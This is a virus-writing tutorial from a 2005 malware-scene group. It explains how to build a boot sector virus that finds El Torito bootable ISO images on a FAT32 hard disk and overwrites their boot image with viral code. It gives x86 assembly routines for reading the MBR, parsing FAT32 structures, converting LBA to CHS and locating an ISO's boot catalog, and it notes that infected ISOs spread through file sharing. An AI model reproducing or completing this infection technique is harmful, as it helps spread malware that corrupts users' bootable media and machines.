************************************************************* ************************************************************* ************ *********** ************ New era of bootsectorviruses #2: *********** ************ El Torito ISO infection at FAT32 *********** ************ by Second Part To Hell/[rRlf] *********** ************ *********** ************************************************************* ************************************************************* Index: ****** 0) Intro 1) Theory / Idea 2) MBR: Master Boot Record 3) Partition's Bootsector 4) Root Directory 5) Find data at the Harddisk 6) El Torito ISO 7) Last words 0) Intro This second tutorial about bootsectorviruses is about a very unusual topic: CD-ROM bootsector infection. How could we infect a bootsector of a CD-ROM? Via infecting bootable Images. The bootable CD-ROM images are called El Torito ISO-9660. This standart is very common, and used in many programs like Ahead Nero Burning ROM. El Torito ISOs are spread via the internet zB via Emule (Knoppix, Windows Installation CD-ROM, ...). Before reading this tutorial, it would be of some value to read the first article about this topic as I will not repeat too much. Well, let's start! 1) Theory / Idea What do we want? Infecting a CD-ROM's bootsector. We will manage it via infecting the Image file, as I've already told you. But how can we find image files??? We have to write our own FAT32 FileSystem Driver. Sounds hard, but it is not if you know what exectly to do (all you will know after this tutorial :D). After finding the ISO file, we have to check if it's ready to infect and where we have to infect it (it has a much more complicated structure as raw-data-image-files). When we found the right place, we have no more problems. OK, you should know now, what we will do, just let us do it now... 2) MBR: Master Boot Record The Master Boot Record is the first physical sector of the Harddisk. Here we also get the information about the partition's start sector at the HD. So first thing we have to do after loading the virus is to load the MBR into the memory. Let's say, offset 0x2000: - - - - - - - - - - - - - [ Load MBR - Source ] - - - - - - - - - - - - - mov bx, 0x2000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, 1 ; Start at sector 1 mov ch, 0 ; Cylinder=0 mov dh, 0 ; Head=0 mov dl, 0x80 ; Drive=0x80=HD int 0x13 ; Read MBR - - - - - - - - - - - - - [ Load MBR - Source ] - - - - - - - - - - - - - What is important: DL = drive number (bit 7 set for hard disk) 1000 0000 = 0x80 = HD Now we have the MBR in memory at adresse 0x2000:0x0, what next? We have to understand the stucture of the MBR: Start: Lenght: Type: ***************************** 0 Byte 446 Byte Bootloader 446 Byte 64 Byte Partitiontable 510 Byte 2 Byte 0x55AA <- Bootsign What we need is the Partitiontable, to get the start of the partitions. The table is splitted into 4 parts (=4 partitions) with the same size (16 byte). One entry of the Partitiontable looks like that: Name: Start: Lenght: Description: ****************************************************** Active Partition Flag 0 Byte 1 Byte If the partition is active or not Active: 0x80 | Not active: 0x0 CHS Start 1 Byte 3 Byte CHS value of start of the partition Type 4 Byte 1 Byte Type of partition CHS End 5 Byte 3 Byte CHS value of end of the partition LBA Start 8 Byte 4 Byte LBA value of start of the partition LBA Length 12 Byte 4 Byte LBA value of sectors IN the partition Here we just need two values: CHS Start for reading the Bootsector of the partition and LBA Start for Sector calculation later on. So what to do for reading the partition's bootsector? See: - - - - - - - - - - - - - [ Load Partition's BS - Source ] - - - - - - - - - - - - - xor bx, bx ; bx=0=Start of MBR mov ax, [bx+454] ; ax=1st Partition's start: Partitiontable (446) + 8 = 454 mov cl, [bx+447] ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447 mov dh, [bx+448] ; dh=Head of 1st Partition in CHS: 446 + 2 = 448 mov ch, [bx+449] ; ch=Cylinder of 1st Partition in CHS: 446 + 3 = 449 mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [BootSecPar], ax ; Save 1st Partition's start in LBA mov ah, 0x2 ; Read mov al, 0x10 ; 16 Sector mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x2000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read First Sector of Partition - - - - - - - - - - - - - [ Load Partition's BS - Source ] - - - - - - - - - - - - - 3) Partition's Bootsector The partition now gives us the needed values for the root directory. First we have to know the calculation for the Root Directory (which tooked me several days to find it, as nobody seemed to know that): (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(root cluster-2)*(sectors per cluster) And where are these offsets: Offset 13 ;db sectors per cluster Offset 14 ;dw fat offset or reserved sectors Offset 16 ;db number of fats Offset 44 ;dd root cluster Offset 36 ;dd sectors per fat At this point I have to thank Octavio, a member in the MenuetOS forum, for this calculation and the offsets. Without you nobody could read this! Let's see the code for getting the values: - - - - - - - - - [ Get Cluster for Root_Directory - Source ] - - - - - - - - - mov ah, [bx+24] ; ah=BPB_SecPerTrk: For CHS calculation mov al, [bx+26] ; al=BPB_NumHeads: For CHS calculation mov cl, [bx+13] ; cl=Sector per cluster mov ch, [bx+16] ; ch=Number of FATs mov si, [bx+14] ; si=Reserved Sectors mov ebp, [bx+44] ; ebp=RootCluster mov edx, [bx+36] ; edx=Sectors per FAT mov bx, 0x1000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 mov [TotalSector], ah ; Save BPB_SecPerTrk mov [TotalHead], al ; Save BPB_NumHeads mov [SecPerClust], cl ; Save Sector per cluster mov [ReservedSec], si ; Save Reserved Sector mov [NumOfFats], ch ; Save Number Of FATs mov [SecPerFat], edx ; Save Sector Per FAT mov [LBA], ebp ; Save Root Cluster call getLBA ; Get the real sector number ; Returns the real sector number in EAX - - - - - - - - - [ Get Cluster for Root_Directory - Source ] - - - - - - - - - At this calculation we got the all values for the Root_Directory Cluster, which means that we have to get the real sector in connection with the value [LBA] at the harddisk of this root directory. [LBA] represents the cluster of the root directory. Now comes the calculation listed above (ClusterNum -> SectorNum). - - - - - - - - - - - - - - - [ getLBA - Source ] - - - - - - - - - - - - - - - getLBA: ;; Find Data: ;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster) ;; DataCluster saved in LBA mov eax, [SecPerFat] ; eax=SecPerFat xor bx, bx ; bx=0 mov bl, [NumOfFats] ; bl=NumOfFats mul bx ; AX*BX=DX:AX mov [FATCalc], ax ; Save the result xor eax, eax ; EAX=0 mov al, [SecPerClust] ; al=SecPerClust mov ebx, [LBA] ; ebx=DataCluster sub ebx, 2 ; DataCluster-=2 mul ebx ; EAX*EBX=EDX:EAX mov [ClustCalc], eax ; Save the result xor eax, eax ; eax=0 mov ax, [BootSecPar] ; AX=Sectors before the 1st partition xor ebx, ebx ; ebx=0 mov bx, [FATCalc] ; BX=(number of fats)*(sectors per fat) add eax, ebx ; AX+=BX mov bx, [ReservedSec] ; BX=Reserved Sectors add eax, ebx ; AX+=BX mov ebx, [ClustCalc] ; BX=(Root Cluster-2)*(Sectors per Cluster) add eax, ebx ; AX+=BX xor edx, edx ; EDX=0 ret - - - - - - - - - - - - - - - [ getLBA - Source ] - - - - - - - - - - - - - - - What we have now in EAX is the sector number on the harddisk (NOT the same as partition!!!). But we can not read it, as we don't know the Cylinder, Head and Sector for INT 0x13/AH=2. So first we have to calculate this values. How to calculate this values? (thanks to Jack Dobiash) Sector = ((LBA Mod Total Sectors) +1) CylHead = (LBA Div Total Sectors) Head = (CylHead Mod (Total Heads + 1)) Cylinder = (CylHead Div (Total Heads + 1)) This is the standart, but for HDs you can use the 2 highest byte of the sector also for cylinders. This allows 63 Sectors, 255 Heads and 1023 Cylinder. The following list is copyed by Ralf Brown's Interrupt List: INT 13 - DISK - READ SECTOR(S) INTO MEMORY AH = 02h AL = number of sectors to read (must be nonzero) CH = low eight bits of cylinder number CL = sector number 1-63 (bits 0-5) high two bits of cylinder (bits 6-7, hard disk only) DH = head number DL = drive number (bit 7 set for hard disk) ES:BX -> data buffer You should understand it, see the source of this function now: - - - - - - - - - - - - - - - - [ CHS - Source ] - - - - - - - - - - - - - - - - CHS: xor ebx, ebx ; ebx=0 mov bl, [TotalSector] ; Total Sectors div ebx ; EDX:EAX DIV EBX= ; EAX= Quotient ; EDX= Reminder inc dx ; Reminder+1=Sector mov [sector], dl ; Sector=Reminder (not more than 0xFF) mov [cylhead], eax mov edx, eax ; EDX=Quotient shr edx, 16 ; DX=High number of quotient xor bx, bx ; BX=0 mov bl, [TotalHead] ; Total Heads div bx ; DX:AX DIV BX= ; AX= Quotient ; DX= Reminder mov [head], dl ; Head=Reminder mov [cylinder], al ; Cylinder=Quotient shl ah, 6 ; 0000 00?? -> ??00 0000 mov al, [sector] ; high two bits of cylinder (bits 6-7, hard disk only) or al, ah ; 00xx xxxx -> ??xx xxxx mov [sector], al ; Save! ret - - - - - - - - - - - - - - - - [ CHS - Source ] - - - - - - - - - - - - - - - - Now you have the important values in [sector], [head] and [cylinder]. Just read it now. 4) Root Directory The FAT32 root directory has some differents to the FAT12 root directory. Every file entry has, in normal cases, 32 bytes of data. Just if the file uses a long word, the data is longer (but we can easiely ignore that). Most things I've already descripted in the previous article, so there is no need to copy these infos. See the list of the 32 bytes of a file: Name * Offset * Size * Description ************************************************************************** DIR_Name * 0 * 11 * File Name (*) * DIR_Attr * 11 * 1 * File Attributes (*) * DIR_NTRes * 12 * 1 * Reserved: Set zero * DIR_CrtTimeTenth * 13 * 1 * Time: Unimportant * DIR_CrtTime * 14 * 2 * Time: Unimportant * DIR_CrtDate * 16 * 2 * Date: Unimportant * DIR_LstAccDate * 18 * 2 * Date: Unimportant * DIR_FstClusHI * 20 * 2 * High word of this entry's first * * * * cluster number * DIR_WrtTime * 22 * 2 * Time: Unimportant * DIR_WrtDate * 24 * 2 * Date: Unimportant * DIR_FstClusLO * 26 * 2 * Low word of 1st cluster number (*) * DIR_FileSize * 28 * 2 * Filesize (*) * ************************************************************************** (*) = Already descriped in 'New era of bootsectorvirus #1' 5) Find data at the Harddisk Now we know, how the FAT32 root directory looks like. And now: How to get a file of an entry, which we want? First, we have to compair the two words of the cluster number, so we have the real dword: - - - - - - - - - - - - - - - - [ dword - Source ] - - - - - - - - - - - - - - - - mov ax, [bx+20] ; High number of cylinder to ax shl eax, 0x10 ; High number in e-part of eax mov ax, [bx+26] ; Low number of cylinder to ax - - - - - - - - - - - - - - - - [ dword - Source ] - - - - - - - - - - - - - - - - Now we have the cluster number in eax. To read them, we first have to get the LBA number (sector number at partition) and then calculate the CHS for the INT 13 / AH=0x2||0x3. We already know the function getLBA and CHS, so there is no need to write them down again. See the code for reading a file into memory: - - - - - - - - - - - - - - - - [ Read File - Source ] - - - - - - - - - - - - - - - - mov [LBA], eax ; DataCluster=EAX call getLBA ; Get the real sector number ; Returns the sector number in EAX mov [LBA], eax ; Save the LBA call CHS ; Get the CHS of the real sector number mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sectors - - - - - - - - - - - - - - - - [ Read File - Source ] - - - - - - - - - - - - - - - - What we have now is the first sector of the file in memory starting at offset 0x3000:0x0. 6) El Torito ISO El Torito is the bootable format of CD-ROM images (ISO). This is the image we want to infect. :) First enormous important thing to know is, that a sector at a CD-ROM is 0x800 bytes long, not like the sectors at the HD, which are 0x200 bytes long. Then it's important to know, that the boot- sector of CD-ROMs is not the first sector, as it's at floppies or HDs. In this article I just write about 'Single Boot-Image Configuration'. See the short graphic about the structure of this kind of files: +-------------------------+ Sector 0: | SYSTEM | | (UNUSED) | |-------------------------| Sector 16: | Primary Volume | |-------------------------| Sector 17: | Boot Record Volume |-------+ |-------------------------| | | | | |-------------------------| | | | | |-------------------------| | | | | |-------------------------| | | Set Termination Volume | | |-------------------------| | | Boot Catalog | <-----+ | |-------+ |-------------------------| | | Bootable Disk Image | <-----+ |-------------------------| | CD-ROM Image | +-------------------------+ We see, which parts we need to read to get the Bootable Disk Image. First we need to read the Boot Record Volume to get the pointer to the Boot Catalog. This Boot Catalog finally points to the Bootable Disk Image. Now let's read the Boot Record Volume. It is at the 17th sector. Remember: The 17th Sector of a CD-ROM (image) is the 17*4th (68th) sector of the harddisk! To know what to do next, we need further infos about the Boot Record Volume: Offset * Type * Description **************************** 0 * Byte * Boot Record Indicator 1-5 * Byte * ISO-9660 Identifier, must be 'CD001' 6 * Byte * Version of the descriptor, must be 1 7-26 * Byte * Boot System Identifier, must be 'EL TORITO SPECIFICATION" padded with 0's. 27-46 * Byte * Unused, must be 0. 47-4A * DWord * Absolute pointer to first sector of Boot Catalog. 4A-7FF * Byte * Unused, must be 0. You can see our pointer now. The pointer uses the number of CD-ROM sectors which means, that you have to muliplicate it with 4, to get the HD sector. Then you add the sector number of the filestart, and you have the real sector number, which we have to read next. The Boot Catalog is splittet in some different parts, see the structure now: Offset * Type * Description **************************** 0 * Byte * Header ID, must be 01. 1 * Byte * Platform ID. 2-3 * Word * Reserved, must be 0. 4-1B * Char * ID-String. 1C-1D * Int * Checksum Word. 1E * Byte * Key Byte, must be 55. 1F * Byte * Key Byte, must be AA. Validation Entry (subname) Next comes the Initial/Default Entry, add 0x20 to the offset. Offset * Type * Description **************************** 0 * Byte * Boot Indicator (88=bootable | 00=not bootable) 1 * Byte * Boot media Type 2-3 * Word * Load segment (standart is 0x7C0) 4 * Byte * System Type. 5 * Byte * Unused, must be 0. 6-7 * Word * Sector count. 8-0B * DWord * Load RBA. This is the start address of the virtual disk. 0C-1F * Byte * Unused, must be 0. The Value at 8-0xB (Load RBA) is the pointer to the sector of the boot sector of the ISO file. We have to get this sector, and we have it. Now we can overwrite this sector and the following sectors with our virus. Everything is ready now. Finally! :) 7) Last words Finally, the first CD-ROM bootsector virus has been finished, and the information to write it has been published with this article. There would be another undiscovered technique going hand in hand with this one: Network Boot viruses using BOOTP. But I doubt that I will make that one soon, as I'm bored of the OS-developing currently :). At this point I also want to say 'hi' to LiTlLe VxW, who has published an article called 'Boot CD infection' in 29a#8 in january 2005. The article was unfortunatly just theoretically - I did not used any information by his article :). Here are some articles which may be useful for reading, if you want to make a CD-ROM bootsector virus: - FAT: Gerneral Overview of On-Disk Formation by Microsoft Corporation - Volume and File Structure of CDROM for Information Interchange - "El Torito" Bootable CD-ROM Format Specification Well,the discoverment on this topic used six months, and now it is ending. It was an interesting topic, and I hope that you are (at least partly :D) interested in it! See you soon out there, and don't forget: Never stopp fooling the establishment :) - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written from Jan 2005 - April 2005 Austria - - - - - - - - - - - - - - -